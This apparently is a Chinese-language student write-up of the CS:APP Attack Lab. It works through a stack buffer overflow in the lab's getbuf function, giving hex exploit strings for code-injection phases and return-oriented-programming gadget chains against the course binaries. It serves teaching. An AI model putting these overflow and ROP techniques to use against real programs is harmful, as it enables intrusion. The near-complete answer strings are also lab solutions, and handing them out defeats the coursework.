Attack Lab
获得汇编源码
1 2
| objdump -d ./ctarget > casm objdump -d ./rtarget > rasm
|
这个 lab 对汇编要求不多,主要是在对栈的理解上
分析漏洞
lab 的文档里提到程序的漏洞位于 getbuf 函数,我们在汇编文件中找到它
1 2 3 4 5 6 7 8
| 0000000000401d47 <getbuf>: 401d47: f3 0f 1e fa endbr64 401d4b: 48 83 ec 28 sub $0x28,%rsp 401d4f: 48 89 e7 mov %rsp,%rdi 401d52: e8 91 02 00 00 call 401fe8 <Gets> 401d57: b8 01 00 00 00 mov $0x1,%eax 401d5c: 48 83 c4 28 add $0x28,%rsp 401d60: c3 ret
|
注意到分配了 0x28 的栈空间,即我需要先把这一部分写穿,再往上去覆盖 return address
Level 1
这一部分的特点是栈是固定的,可以直接使用覆盖栈空间来解决问题
Part 1
这一部分是个热身,在汇编里找到 touch1 的地址即可,注意要先用一堆字符把 40 的栈空间填满才能触碰到 RA
1
| 0000000000401d61 <touch1>:
|
地址即为 0x401d61,由于提供了 hex2raw 程序,实际上简化了我们的书写格式,只需要按照小端法书写即可
1 2 3 4 5 6
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 1d 40 00 00 00 00 00
|
调用程序时可能出现莫名的 segmentation fault,这是程序自己的问题,我们可以通过文件输入的方式来解决
1 2 3 4
| ./hex2raw < 1-1.txt | ./ctarget
./hex2raw < 1-1.txt > 1-1 ./ctarget -i 1-1
|
当然也有学校的补丁可以用:
1 2 3
| ./hex2raw < ./answer/1-1.txt | LD_PRELOAD=./printf.so ./ctarget
env LD_PRELOAD=./printf.so gdb ./ctarget
|
Part 2
稍微难了一点,要求调用 touch2 的同时还要我把 cookie 作为参数传进去,这里我们便需要在 call touch2 的同时把参数传进去
使用注入代码的思想,将调用函数的过程写成汇编代码,然后将汇编代码编译——反编译得到机器码,写在 getbuf 原本的栈空间里即可
查看我所需要的信息:
1
| 0000000000401d95 <touch2>:
|
- getbuf 分配栈帧后的栈顶指针位置(使用 GDB 获得):
1 2
| (gdb) p/x $rsp $2 = 0x556622b8
|
根据信息结合 cookie 的值(我的是 0x69afe3c6)来写出相应的汇编代码
1 2 3
| movq $0x69afe3c6, %rdi push $0x401d95 ret
|
为什么使用 ret 命令?在 CPU 中有一个“PC”即程序寄存器,在 x86-64 中用%rip
表示,它时刻指向将要执行的下一条指令在内存中的地址。而ret
指令就相当于:
即把栈中存放的地址弹出作为下一条指令的地址。
于是使用 push 结合 ret 便能为所欲为
经过编译——反编译后,即得到最终的答案,注意输入地址那里还是小端法
1 2
| gcc -c 1-2.s objdump -d 1-2.o > 1-2.d
|
将得到的结果放在文件里即可:
1 2 3 4 5 6
| 48 c7 c7 c6 e3 af 69 68 95 1d 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 22 66 55 00 00 00 00 #之前的RA,用来跳转到注入的代码
|
最下面一行即为栈溢出后的 RA,我们的程序一开始就会跳转到这里,也即我们注入的代码的位置
1
| ./hex2raw < ./answer/1-2.txt | LD_PRELOAD=./printf.so ./ctarget
|
Part 3
也需要传入 cookie 作为参数,但是不同的是这里的传参数方式变为传字符串首地址
有什么不同呢?如果是直接传参,就可以写在注入代码里直接传,但是如果传的是首地址,就还需要另找空间存放这个 cookie
由于这里加了个 hexmatch 来扰乱 getbuf 的栈帧,所以我们不能将字符串存放在这里,而是可以考虑放在 test 的栈帧里,这里不会被干扰
所以我们效仿 part2,但是在 RA 上方写上 cookie,同时将 cookie 的地址作为参数在注入代码里传给%rdi
按照上面的思路一步步来即可
先获得需要的信息:
touch3 地址:
1
| 0000000000401e96 <touch3>:
|
cookie 存放位置,也即 test 的栈底:
1 2
| (gdb) p/x $rsp $2 = 0x556622e8
|
- 别忘了将 cookie 写成十六进制形式(想一想为什么这里又不用小端法了):
根据如上信息拟写汇编:
1 2 3
| movq $0x556622e8, %rdi pushq $0x401e96 ret
|
汇编——反汇编——组合即得答案:
1 2 3 4 5 6 7
| 48 c7 c7 e8 22 66 55 68 #注入的汇编代码 96 1e 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 #补0以填满栈帧 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 22 66 55 00 00 00 00 #之前的RA,用来跳转到注入代码 36 39 61 66 65 33 63 36 #COOKIE
|
一键运行
1
| ./hex2raw < ./answer/1-3.txt | LD_PRELOAD=./printf.so ./ctarget
|
Level 2
这一部分限制了栈是不可执行的,且栈地址本身会随机化,所以引出了我们的第二种攻击方式——ROP
即利用已有的代码进行拼凑和移花接木,得到我们想要的效果
既然不能注入代码了,那我就单纯注入跳转代码的地址,而且这里的代码还是你自己的代码,完美规避了题目的障碍
这里我们选取的代码通常需要以 c3 结尾,这样一条一条的 ret 便能将各部分代码连接起来,称之为 gadget
打开汇编代码,里面 start_farm 到 end_farm 这一段即为可用的代码(注意文档里也说了只能使用这部分代码)
只需要根据每个 phase 的需求去拼凑代码即可。注意可能一下子找不到直接的指令,这时候根据情况适当中转就行了
Part 4
touch2 的升级版,但是要用 ROP
很显然不可能找到含 cookie 立即数的 gadget,于是我们将 cookie 放在栈上,用 pop 指令去搞到%rdi 里即可
探索后发现不能直接 pop %rdi,于是使用%rax 来中转
1 2 3 4 5 6
| #gadget 1 popq %rax ret #gadget 2 movq %rax, %rdi ret
|
最后不要忘了在第二个 gadget 后写上 touch2 的地址哦!得到的答案文件如下:
1 2 3 4 5 6 7 8 9
| 00 00 00 00 00 00 00 00 #补0填栈 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 97 1f 40 00 00 00 00 00 #Gadget 1 c6 e3 af 69 00 00 00 00 #COOKIE 4b 1f 40 00 00 00 00 00 #Gadget 2 95 1d 40 00 00 00 00 00 #touch2的地址
|
运行爆破:
1
| ./hex2raw < ./answer/2-2.txt | LD_PRELOAD=./printf.so ./ctarget
|
Part 5
即 touch3 的 ROP 版本,文档里说了这个题很难,但是做下来的观感来看难的不是思路,而是跳来跳去的 gadget
一次找不到好的 gadget 那就只能用别的 gadget 来拼凑弥补了,遇到这种题也只能静心慢慢做了,况且每个人的都不一样,还真只能自己写
关于思路:cookie 只能放在栈上,但是栈被随机化了,所以我们不能直接将地址传过去。但是相对地址是不会变的,我们只需要把 cookie 放在一个固定的位置,然后用%rsp 的加减某个数来表示这个地址即可!
这里便直接给出拼凑好的代码供参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| #Gadget 1 movq %rsp, %rax ret
#Gadget 2 movq %rax, %rdi ret
#Gadget 3 popq %rax ret
#这里插入偏移量,根据总指令数计算 0x48
#Gadget 4 movl %eax, %edx ret
#Gadget 5 movl %edx, %ecx ret
#Gadget 6 movl %ecx, %esi ret
#Gadget 7 lea (%rdi,%rsi,1),%rax ret
#Gadget 8 movq %rax, %rdi ret
#这里放touch3的地址,和上一个ret连接起来 xxxxxxxx
#这里放cookie,在test的栈上,前面的操作即为准备这个地址 xxxxxxxx
|
得到的总代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da 20 40 00 00 00 00 00 4b 1f 40 00 00 00 00 00 97 1f 40 00 00 00 00 00 48 00 00 00 00 00 00 00 #偏移量,注意从getbuf中ret的时候栈指针已经加8 c7 1f 40 00 00 00 00 00 31 20 40 00 00 00 00 00 8f 20 40 00 00 00 00 00 a7 1f 40 00 00 00 00 00 4b 1f 40 00 00 00 00 00 96 1e 40 00 00 00 00 00 36 39 61 66 65 33 63 36 #不放心可以后面再加点0
|
一键 attack:
1
| ./hex2raw < ./answer/2-2.txt | LD_PRELOAD=./printf.so ./ctarget
|